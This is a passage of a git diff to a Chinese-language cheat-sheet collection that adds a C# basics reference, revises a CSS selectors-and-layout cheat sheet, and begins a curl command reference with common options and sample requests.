- [Crontab Generator](https://crontab-generator.org/) _(crontab-generator.org)_
|
||||
- [Crontab guru](https://crontab.guru/) _(crontab.guru)_
|
||||
|
234
docs/cs.md
Normal file
234
docs/cs.md
Normal file
@ -0,0 +1,234 @@
|
||||
C# 备忘清单
|
||||
===
|
||||
|
||||
提供基本语法和方法的 C# 快速参考备忘单
|
||||
|
||||
入门
|
||||
--------
|
||||
|
||||
### Hello.cs
|
||||
|
||||
```cs
|
||||
class Hello {
|
||||
// main method
|
||||
static void Main(string[] args)
|
||||
{
|
||||
// 输出: Hello, world!
|
||||
Console.WriteLine("Hello, world!");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
编译运行(确保在项目目录下)
|
||||
|
||||
```shell
|
||||
$ dotnet run
|
||||
Hello, world!
|
||||
```
|
||||
|
||||
### 变量
|
||||
|
||||
```cs
|
||||
int intNum = 9;
|
||||
long longNum = 9999999;
|
||||
float floatNum = 9.99F;
|
||||
double doubleNum = 99.999;
|
||||
decimal decimalNum = 99.9999M;
|
||||
char letter = 'D';
|
||||
bool @bool = true;
|
||||
string site = "quickref.me";
|
||||
var num = 999;
|
||||
var str = "999";
|
||||
var bo = false;
|
||||
```
|
||||
|
||||
### 原始数据类型
|
||||
|
||||
数据类型 | 尺寸 | 范围
|
||||
:- | - | -
|
||||
| `int` | 4 bytes | -2^31^ ^to^ 2^31^-1 |
|
||||
| `long` | 8 bytes | -2^63^ ^to^ 2^63^-1 |
|
||||
| `float` | 4 bytes | 6 ^to^ 7 decimal digits |
|
||||
| `double` | 8 bytes | 15 decimal digits |
|
||||
| `decimal` | 16 bytes | 28 ^to^ 29 decimal digits |
|
||||
| `char` | 2 bytes | 0 ^to^ 65535 |
|
||||
| `bool` | 1 bit | true / false |
|
||||
| `string` | 2 bytes per char | _N/A_ |
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 注释
|
||||
|
||||
```cs
|
||||
// 单行注释
|
||||
/* 多行
|
||||
注释 */
|
||||
// TODO:向 Visual Studio 中的任务列表添加注释
|
||||
/// 用于文档的单行注释
|
||||
/** 多行 注释
|
||||
用于文档 **/
|
||||
```
|
||||
|
||||
### Strings
|
||||
|
||||
```cs
|
||||
string first = "John";
|
||||
string last = "Doe";
|
||||
// 字符串连接
|
||||
string name = first + " " + last;
|
||||
Console.WriteLine(name); // => John Doe
|
||||
```
|
||||
|
||||
查看: [Strings](#c-字符串)
|
||||
|
||||
### User Input
|
||||
|
||||
```cs
|
||||
Console.WriteLine("Enter number:");
|
||||
if(int.TryParse(Console.ReadLine(),out int input))
|
||||
{
|
||||
// 输入验证
|
||||
Console.WriteLine($"You entered {input}");
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 条件句
|
||||
|
||||
```cs
|
||||
int j = 10;
|
||||
if (j == 10) {
|
||||
Console.WriteLine("I get printed");
|
||||
} else if (j > 10) {
|
||||
Console.WriteLine("I don't");
|
||||
} else {
|
||||
Console.WriteLine("I also don't");
|
||||
}
|
||||
```
|
||||
|
||||
### 数组
|
||||
|
||||
```cs
|
||||
char[] chars = new char[10];
|
||||
chars[0] = 'a';
|
||||
chars[1] = 'b';
|
||||
string[] letters = {"A", "B", "C"};
|
||||
int[] mylist = {100, 200};
|
||||
bool[] answers = {true, false};
|
||||
```
|
||||
|
||||
### 循环
|
||||
|
||||
```cs
|
||||
int[] numbers = {1, 2, 3, 4, 5};
|
||||
for(int i = 0; i < numbers.Length; i++) {
|
||||
Console.WriteLine(numbers[i]);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```cs
|
||||
foreach(int num in numbers) {
|
||||
Console.WriteLine(num);
|
||||
}
|
||||
```
|
||||
|
||||
C# 字符串
|
||||
----------------
|
||||
|
||||
### 字符串连接
|
||||
|
||||
```cs
|
||||
string first = "John";
|
||||
string last = "Doe";
|
||||
string name = first + " " + last;
|
||||
Console.WriteLine(name); // => John Doe
|
||||
```
|
||||
|
||||
### 字符串插值
|
||||
|
||||
```cs
|
||||
string first = "John";
|
||||
string last = "Doe";
|
||||
string name = $"{first} {last}";
|
||||
Console.WriteLine(name); // => John Doe
|
||||
```
|
||||
|
||||
### 字符串成员
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
成员 | 说明
|
||||
:- | -
|
||||
`Length` | 返回字符串长度的属性
|
||||
`Compare()` | 比较两个字符串的静态方法
|
||||
`Contains()` | 确定字符串是否包含特定的子字符串
|
||||
`Equals()` | 确定两个字符串是否具有相同的字符数据
|
||||
`Format()` | 通过 {0} 表示法和使用其他原语格式化字符串
|
||||
`Trim()` | 从尾随和前导字符中删除特定字符的所有实例。 默认删除前导和尾随空格
|
||||
`Split()` | 删除提供的字符并从两侧的剩余字符中创建一个数组
|
||||
<!--rehype:className=show-header-->
|
||||
|
||||
### 逐字字符串
|
||||
|
||||
```cs
|
||||
string longString = @"I can type any characters in here !#@$%^&*()__+ '' \n \t except double quotes and I will be taken literally. I even work with multiple lines.";
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 成员示例
|
||||
|
||||
```cs
|
||||
// 使用 System.String 的属性
|
||||
string lengthOfString = "How long?";
|
||||
lengthOfString.Length // => 9
|
||||
// 使用 System.String 的方法
|
||||
lengthOfString.Contains("How"); // => true
|
||||
```
|
||||
|
||||
### 频繁字符串拼接
|
||||
|
||||
```cs
|
||||
var sb = new StringBuilder();
|
||||
for (int i = 0; i < 100; i++)
|
||||
{
|
||||
sb.Append(i.ToString());
|
||||
}
|
||||
Console.WriteLine(sb.ToString());
|
||||
// => 123456789....
|
||||
```
|
||||
|
||||
对于频繁拼接字符串的场景(如:成百上千次循环),使用 `System.Text.StringBuilder` 提升性能
|
||||
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
### 原始字符串文本
|
||||
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```cs
|
||||
// C#11 语法, 至少3个双引号(""")开头和结尾,内容可以输入任何原始字符
|
||||
// 单行: 左引号,右引号,内容 三者同行
|
||||
string singleLine = """Content begin "Hello World!" end.""";
|
||||
|
||||
// 多行:左引号,右引号各一行,内容需与右引号缩进对齐
|
||||
string multiLine = """
|
||||
Content begin "Hello World!" /\n<>"" end.
|
||||
""";
|
||||
Console.WriteLine(multiLine); // => Content begin "Hello World!" /\n<>"" end.
|
||||
```
|
||||
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
杂项
|
||||
-----------
|
||||
|
||||
### 一般 .NET 条款
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
条款 | 定义
|
||||
:- | -
|
||||
Runtime | 执行给定的已编译代码单元所需的服务集合
|
||||
Common Language Runtime (CLR) | 主要定位、加载和托管 .NET 对象。<br/>CLR 还处理内存管理、应用程序托管、线程协调、执行安全检查和其他低级细节
|
||||
Managed code | 在 `.NET` 运行时编译和运行的代码。 C#/F#/VB 就是例子
|
||||
Unmanaged code | 直接编译为机器代码且不能由 .NET 运行时直接托管的代码。<br/>不包含空闲内存管理、垃圾收集等。从 C/C++ 创建的 DLL 就是示例
|
||||
<!--rehype:className=show-header-->
|
160
docs/css.md
160
docs/css.md
@ -1,10 +1,8 @@
|
||||
CSS 备忘清单
|
||||
===
|
||||
|
||||
|
||||
这是一份关于 CSS 优点的快速参考备忘单,列出了选择器语法、属性、单位和其他有用的信息
|
||||
|
||||
|
||||
入门
|
||||
------------
|
||||
|
||||
@ -151,14 +149,14 @@ div {
|
||||
}
|
||||
```
|
||||
|
||||
查看: [Flexbox](#css-flexbox) | [Flex Tricks](#css-flexbox-tricks)
|
||||
查看: [Flexbox](#css-flexbox) | [Flex Tricks](#css-flexbox-技巧)
|
||||
|
||||
### Grid 布局
|
||||
|
||||
```css
|
||||
#container {
|
||||
display: grid;
|
||||
grid: repeat(2, 60px) / auto-flow 80px;
|
||||
s grid: repeat(2, 60px) / auto-flow 80px;
|
||||
}
|
||||
#container > div {
|
||||
background-color: #8ca0ff;
|
||||
@ -167,7 +165,7 @@ div {
|
||||
}
|
||||
```
|
||||
|
||||
查看: [Grid Layout](#css-grid-layout)
|
||||
查看: [Grid Layout](#grid-布局)
|
||||
|
||||
### 变量和计数器
|
||||
|
||||
@ -246,17 +244,16 @@ p:first-child {
|
||||
|
||||
另见: [元素](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Type_selectors) / [类](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Class_selectors) / [ID](https://developer.mozilla.org/zh-CN/docs/Web/CSS/ID_selectors) / [通配](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Universal_selectors) 选择器
|
||||
|
||||
|
||||
### 组合器
|
||||
|
||||
选择器 | 说明
|
||||
:- | :-
|
||||
`div.classname` | 具有特定类名的 div
|
||||
`div#idname` | 具有特定 ID 的 div
|
||||
`div p` | div 中的段落
|
||||
`div > p` | div 子节点中的所有 `P` 标签
|
||||
`div + p` | div 之后的 `P` 标签
|
||||
`div ~ p` | div 前面的 `P` 标签
|
||||
`div p` | div 中的所有段落
|
||||
`div > p` | 父元素是 div 的 `P` 标签
|
||||
`div + p` | div 之后的第一个同级 `P` 标签
|
||||
`div ~ p` | div 之后所有的同级 `P` 标签
|
||||
|
||||
另见: [相邻兄弟](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Adjacent_sibling_combinator) / [通用兄弟](https://developer.mozilla.org/zh-CN/docs/Web/CSS/General_sibling_combinator) / [子](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Child_combinator) 选择器
|
||||
|
||||
@ -264,14 +261,14 @@ p:first-child {
|
||||
|
||||
选择器 | 说明
|
||||
:- | :-
|
||||
`a[target]` | 带有 <yel>target</yel> 属性
|
||||
`a[target="_blank"]` | 在新标签中打开
|
||||
`a[href^="/index"]` | 以 <yel>/index</yel> 开头
|
||||
`[class\|="chair"]` | 以<yel>chair</yel>开头
|
||||
`[class*="chair"]` | 包含<yel>chair</yel>
|
||||
`[title~="chair"]` | 包含单词 <yel>chair</yel>
|
||||
`a[href$=".doc"]` | 以 <yel>.doc</yel> 结尾
|
||||
`[type="button"]` | 指定类型
|
||||
`a[target]` | 带有 <yel>target</yel> 属性 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attr)
|
||||
`a[target="_blank"]` | 在新标签中打开 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue)
|
||||
`a[href^="/index"]` | 以 <yel>/index</yel> 开头 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue_4)
|
||||
`[class\|="chair"]` | 以<yel>chair</yel>开头 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue_3)
|
||||
`[class*="chair"]` | 包含<yel>chair</yel> [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue_6)
|
||||
`[title~="chair"]` | 包含单词 <yel>chair</yel> [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue_2)
|
||||
`a[href$=".doc"]` | 以 <yel>.doc</yel> 结尾 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue_5)
|
||||
`[type="button"]` | 指定类型 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors#attrvalue)
|
||||
|
||||
另见: [属性选择器](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors)
|
||||
|
||||
@ -279,10 +276,23 @@ p:first-child {
|
||||
|
||||
选择器 | 说明
|
||||
:- | :-
|
||||
`a:link ` | 链接正常 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:link)
|
||||
`a:active ` | 链接处于点击状态 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:active)
|
||||
`a:hover ` | 鼠标悬停链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:hover)
|
||||
`a:visited ` | 访问链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:visited)
|
||||
`a:link` | 链接正常 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:link)
|
||||
`a:active` | 链接处于点击状态 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:active)
|
||||
`a:hover` | 鼠标悬停链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:hover)
|
||||
`a:visited` | 访问链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:visited)
|
||||
|
||||
---
|
||||
|
||||
```css
|
||||
/* 未访问链接 */
|
||||
a:link { color: blue; }
|
||||
/* 已访问链接 */
|
||||
a:visited { color: purple; }
|
||||
/* 用户鼠标悬停 */
|
||||
a:hover { background: yellow; }
|
||||
/* 激活链接 */
|
||||
a:active { color: red; }
|
||||
```
|
||||
|
||||
### 伪类
|
||||
|
||||
@ -299,6 +309,10 @@ p:first-child {
|
||||
`div:empty` | 没有子元素的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:empty)
|
||||
`p:lang(en)` | 带有 en 语言属性的 P [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:lang)
|
||||
`:not(span)` | 不是跨度的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:not)
|
||||
`:host` | shadowDOM 中选择自定义元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:root)
|
||||
`::backdrop` | 处于全屏模式的元素样式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/::backdrop)
|
||||
`::marker` | `li` 项目符号或者数字 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/::marker)
|
||||
`::file-selector-button` | type="file" `input` 按钮 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/::file-selector-button)
|
||||
|
||||
### 输入伪类
|
||||
|
||||
@ -307,6 +321,8 @@ p:first-child {
|
||||
`input:checked` | 检查 `input` [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:checked)
|
||||
`input:disabled` | 禁用 `input` [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:disabled)
|
||||
`input:enabled` | 启用的 `input` [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:enabled)
|
||||
`input:default` | 有默认值的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:default)
|
||||
`input:blank` | 空的输入框 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:blank)
|
||||
`input:focus` | `input` 有焦点 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:focus)
|
||||
`input:in-range` | 范围内的值 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:in-range)
|
||||
`input:out-of-range` | `input` 值超出范围 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:out-of-range)
|
||||
@ -324,7 +340,7 @@ p:first-child {
|
||||
:- | :-
|
||||
`p:first-child` | 第一个孩子 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:first-child)
|
||||
`p:last-child` | 最后一个孩子 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:last-child)
|
||||
`p:first-of-type` | 首先是某种类型 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:first-of-type)
|
||||
`p:first-of-type` | 第一个 p 类型的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:first-of-type)
|
||||
`p:last-of-type` | 某种类型的最后一个 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:last-of-type)
|
||||
`p:nth-child(2)` | 其父母的第二个孩子 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:nth-child)
|
||||
`p:nth-child(3n42)` | Nth-child(an + b) 公式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:nth-child)
|
||||
@ -333,6 +349,11 @@ p:first-child {
|
||||
`p:nth-last-of-type(2)` | ...从后面 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:nth-last-of-type)
|
||||
`p:only-of-type` | 其父级的唯一性 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:only-of-type)
|
||||
`p:only-child` | 其父母的唯一孩子 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:only-child)
|
||||
`:is(header, div) p` | 可以选择的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:is)
|
||||
`:where(header, div) p` | 与 `:is` 相同 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:where)
|
||||
`a:has(> img)` | 包含 `img` 元素的 `a` 元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:has)
|
||||
`::first-letter` | 第一行的第一个字母 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/::first-letter)
|
||||
`::first-line` | 第一行应用样式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/::first-line)
|
||||
|
||||
CSS 字体
|
||||
------
|
||||
@ -345,12 +366,12 @@ CSS 字体
|
||||
`font-family:` | 字体族名或通用字体族名 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-family)
|
||||
`font-size:` | 字体的大小 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-size)
|
||||
`letter-spacing:` | 文本字符的间距 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/letter-spacing)
|
||||
`line-height:` | 多行文本间距 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/line-height)
|
||||
`font-weight:` | 粗细程度 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-weight)
|
||||
`font-style:` | 字体样式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-style)
|
||||
`text-decoration:` | 文本的修饰线外观 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-decoration)
|
||||
`text-align:` | 相对它的块父元素对齐 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-align)
|
||||
`text-transform:` | 指定文本大小写 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-transform)
|
||||
`line-height:` | 多行文本间距 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/line-height)
|
||||
`font-weight:` | 粗细程度 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-weight)
|
||||
`font-style:` | 字体样式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-style)
|
||||
`text-decoration:` | 文本的修饰线外观 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-decoration)
|
||||
`text-align:` | 相对它的块父元素对齐 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-align)
|
||||
`text-transform:` | 指定文本大小写 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-transform)
|
||||
|
||||
另见: [Font](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font)
|
||||
|
||||
@ -406,6 +427,8 @@ color: tan;
|
||||
color: rebeccapurple;
|
||||
```
|
||||
|
||||
更多标准[颜色名称](./colors-named.md)
|
||||
|
||||
### 十六进制颜色
|
||||
|
||||
```css
|
||||
@ -464,8 +487,8 @@ CSS 背景
|
||||
|
||||
属性 | 说明
|
||||
:- | :-
|
||||
`background:` | _([速记](#速记-1))_
|
||||
`background-color:` | 查看: [Colors](#css-颜色)
|
||||
`background:` | _([速记](#速记-1))_
|
||||
`background-color:` | 查看: [Colors](#css-颜色)
|
||||
`background-image:` | 一个或者多个背景图像
|
||||
`background-position:` | 背景图片设置初始位置
|
||||
`background-size:` | 背景图片大小
|
||||
@ -531,7 +554,7 @@ CSS 盒子模型
|
||||
|
||||
另见: [box-sizing](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Box-sizing)
|
||||
|
||||
### 能见度
|
||||
### 能见度
|
||||
|
||||
```css
|
||||
.invisible-elements {
|
||||
@ -541,7 +564,6 @@ CSS 盒子模型
|
||||
|
||||
另见: [Visibility](https://developer.mozilla.org/zh-CN/docs/Web/CSS/visibility)
|
||||
|
||||
|
||||
### Auto 关键字
|
||||
|
||||
```css
|
||||
@ -553,7 +575,6 @@ div {
|
||||
|
||||
另见: [边距(margin)](https://developer.mozilla.org/zh-CN/docs/Web/CSS/margin)
|
||||
|
||||
|
||||
### 溢出(Overflow)
|
||||
|
||||
```css
|
||||
@ -583,7 +604,7 @@ animation: bounce 300ms linear 100ms infinite alternate-reverse
|
||||
|
||||
属性 | 说明
|
||||
:- | :-
|
||||
`animation:` | _([速记](#速记-2))_
|
||||
`animation:` | _([速记](#速记-2))_
|
||||
`animation-name:` | 动画名 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation-name)
|
||||
`animation-duration:` | 动画周期的时长 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation-duration)
|
||||
`animation-timing-function:` | 缓动函数 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation-timing-function)
|
||||
@ -780,7 +801,7 @@ flex-wrap: nowrap | wrap | wrap-reverse;
|
||||
flex-direction: row | row-reverse | column | column-reverse;
|
||||
```
|
||||
|
||||
----
|
||||
---
|
||||
|
||||
```bash
|
||||
╭┈┈╮ ▲ ╭┈┈╮ ┆
|
||||
@ -801,7 +822,7 @@ column-reverse column row row-reverse
|
||||
align-items: flex-start | flex-end | center | baseline | stretch;
|
||||
```
|
||||
|
||||
----
|
||||
---
|
||||
|
||||
```css
|
||||
▶ flex-start(起点对齐) ▶ flex-end(终点对齐)
|
||||
@ -839,7 +860,7 @@ align-content: flex-start | flex-end | center | space-between | space-around | s
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
----
|
||||
---
|
||||
|
||||
```css
|
||||
▶ flex-start(起点对齐) ▶ flex-end(终点对齐)
|
||||
@ -879,7 +900,7 @@ align-content: flex-start | flex-end | center | space-between | space-around | s
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
---
|
||||
|
||||
```css
|
||||
╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮
|
||||
@ -903,7 +924,7 @@ align-content: flex-start | flex-end | center | space-between | space-around | s
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
---
|
||||
|
||||
```css
|
||||
╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮
|
||||
@ -959,7 +980,6 @@ CSS Flexbox 技巧
|
||||
|
||||
### 移动布局
|
||||
|
||||
|
||||
```css
|
||||
.container {
|
||||
display: flex;
|
||||
@ -1045,7 +1065,7 @@ CSS Grid 网格布局
|
||||
### CSS 网格行
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
CSS 语法:
|
||||
CSS 语法:
|
||||
|
||||
- grid-row: grid-row-start / grid-row-end;
|
||||
|
||||
@ -1092,7 +1112,7 @@ grid-row-gap: length;
|
||||
### minmax() 函数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```css {.wrap}
|
||||
```css
|
||||
.grid {
|
||||
display: grid;
|
||||
grid-template-columns: 100px minmax(100px, 500px) 100px;
|
||||
@ -1104,7 +1124,7 @@ grid-row-gap: length;
|
||||
|
||||
### grid-row-start & grid-row-end
|
||||
|
||||
CSS 语法:
|
||||
CSS 语法:
|
||||
|
||||
- grid-row-start: auto|row-line;
|
||||
- grid-row-end: auto|row-line|span n;
|
||||
@ -1142,7 +1162,6 @@ grid-row-end: span 2;
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### Justify Self
|
||||
|
||||
```css
|
||||
@ -1350,10 +1369,10 @@ a[href^="http"]:empty::before {
|
||||
}
|
||||
```
|
||||
|
||||
如果你的 `<a>` 标签里面没有内容,将 `href` 的值作为内容展示
|
||||
|
||||
如果 `<a>` 标签里面没有内容,将 `href` 的值作为内容展示
|
||||
|
||||
### 使用 :root 表示灵活类型
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
响应式布局中的字体大小应该能够根据每个视口进行调整,您可以使用 `:root` 根据视口高度和宽度计算字体大小
|
||||
|
||||
@ -1363,7 +1382,7 @@ a[href^="http"]:empty::before {
|
||||
}
|
||||
```
|
||||
|
||||
现在您可以根据 `:root` 计算的值使用根 `em` 单位:
|
||||
您可以根据 `:root` 计算的值使用根 `em` 单位:
|
||||
|
||||
```css
|
||||
body {
|
||||
@ -1371,6 +1390,49 @@ body {
|
||||
}
|
||||
```
|
||||
|
||||
### 吸附滚动
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```css {5,12}
|
||||
.container {
|
||||
height: 250px;
|
||||
overflow-x: scroll;
|
||||
display: flex;
|
||||
scroll-snap-type: x mandatory;
|
||||
column-gap: 10px;
|
||||
}
|
||||
.child {
|
||||
flex: 0 0 66%;
|
||||
width: 250px;
|
||||
background-color: #663399;
|
||||
scroll-snap-align: center;
|
||||
}
|
||||
```
|
||||
|
||||
可用于 `轮播图` 效果,[效果预览](https://codesandbox.io/embed/pensive-leftpad-w9p8rk?fontsize=14&hidenavigation=1&theme=dark)
|
||||
|
||||
### 类似 contenteditable 的样式
|
||||
|
||||
```css
|
||||
div {
|
||||
-webkit-user-modify:
|
||||
read-write-plaintext-only;
|
||||
}
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
通过样式来控制一个元素 `div` 是否可以编辑
|
||||
|
||||
### 定义容器的长宽比
|
||||
|
||||
```
|
||||
div {
|
||||
aspect-ratio: 1/1
|
||||
}
|
||||
```
|
||||
|
||||
属性 [aspect-ratio](https://developer.mozilla.org/zh-CN/docs/Web/CSS/aspect-ratio) 可以非常容易的定义一个容器的长宽比
|
||||
|
||||
另见
|
||||
---------
|
||||
|
||||
@ -1381,4 +1443,4 @@ body {
|
||||
- [CSS Tricks: A Complete Guide to Grid](https://css-tricks.com/snippets/css/complete-guide-grid/)
|
||||
- [Browser support](https://caniuse.com/#feat=css-grid)
|
||||
- [Flex 布局教程:语法篇](https://www.ruanyifeng.com/blog/2015/07/flex-grammar.html?utm_source=tuicool)
|
||||
- [CSS 专业技巧](https://github.com/AllThingsSmitty/css-protips/tree/master/translations/zh-CN)
|
||||
- [CSS 专业技巧](https://github.com/AllThingsSmitty/css-protips/tree/master/translations/zh-CN)
|
||||
|
284
docs/curl.md
Normal file
284
docs/curl.md
Normal file
@ -0,0 +1,284 @@
|
||||
Curl 备忘清单
|
||||
===
|
||||
|
||||
此 [Curl](https://github.com/curl/curl) 备忘清单包含命令和一些常见的 Curl 技巧示例。
|
||||
|
||||
入门
|
||||
----
|
||||
|
||||
### 介绍
|
||||
|
||||
Curl 是一种在服务器之间传输数据的工具,支持协议,包括 HTTP/FTP/IMAP/LDAP/POP3/SCP/SFTP/SMB/SMTP 等
|
||||
|
||||
- [Curl GitHub 源码仓库](https://github.com/curl/curl) _(github.com)_
|
||||
- [Curl 官方网站](https://curl.se/) _(curl.se)_
|
||||
|
||||
### Options
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
```bash
|
||||
-o <file> # --output: 写入文件
|
||||
-u user:pass # --user: 验证
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```bash
|
||||
-v # --verbose: 在操作期间使 curl 冗长
|
||||
-vv # 更冗长
|
||||
-s # --silent: 不显示进度表或错误
|
||||
-S # --show-error: 与 --silent (-sS) 一起使用时,显示错误但没有进度表
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```bash
|
||||
-i # --include: 在输出中包含 HTTP 标头
|
||||
-I # --head: 仅标头
|
||||
```
|
||||
|
||||
### 请求
|
||||
|
||||
```bash
|
||||
-X POST # --request
|
||||
-L # 如果页面重定向,请点击链接
|
||||
-F # --form: multipart/form-data 的 HTTP POST 数据
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 数据
|
||||
|
||||
```bash
|
||||
# --data: HTTP post 数据
|
||||
# URL 编码(例如,status="Hello")
|
||||
-d 'data'
|
||||
|
||||
# --data 通过文件
|
||||
-d @file
|
||||
|
||||
# --get: 通过 get 发送 -d 数据
|
||||
-G
|
||||
```
|
||||
|
||||
### 头信息 Headers
|
||||
|
||||
```bash
|
||||
-A <str> # --user-agent
|
||||
|
||||
-b name=val # --cookie
|
||||
|
||||
-b FILE # --cookie
|
||||
|
||||
-H "X-Foo: y" # --header
|
||||
|
||||
--compressed # 使用 deflate/gzip
|
||||
```
|
||||
|
||||
### SSL
|
||||
|
||||
```bash
|
||||
--cacert <file>
|
||||
--capath <dir>
|
||||
```
|
||||
|
||||
```bash
|
||||
-E, --cert <cert> # --cert: 客户端证书文件
|
||||
--cert-type # der/pem/eng
|
||||
-k, --insecure # 对于自签名证书
|
||||
```
|
||||
|
||||
#### 安装
|
||||
|
||||
```bash
|
||||
apk add --update curl # alpine linux 中安装
|
||||
```
|
||||
|
||||
示例
|
||||
----
|
||||
<!--rehype:body-class=cols-6-->
|
||||
|
||||
### CURL GET/HEAD
|
||||
<!--rehype:wrap-class=col-span-4 row-span-2-->
|
||||
|
||||
命令 | 说明
|
||||
:- | :-
|
||||
`curl -I https://www.baidu.com` | `curl` 发请求
|
||||
`curl -v -I https://www.baidu.com` | 带有详细信息的 `curl` 发请求
|
||||
`curl -X GET https://www.baidu.com` | 使用显式 http 方法进行 `curl`
|
||||
`curl --noproxy 127.0.0.1 http://www.stackoverflow.com` | 没有 http 代理的 `curl`
|
||||
`curl --connect-timeout 10 -I -k https://www.baidu.com` | `curl` 默认没有超时
|
||||
`curl --verbose --header "Host: www.mytest.com:8182" www.baidu.com` | `curl` 得到额外的标题
|
||||
`curl -k -v https://www.google.com` | `curl` 获取带有标题的响应
|
||||
<!--rehype:class=auto-wrap-->
|
||||
|
||||
### 多文件上传
|
||||
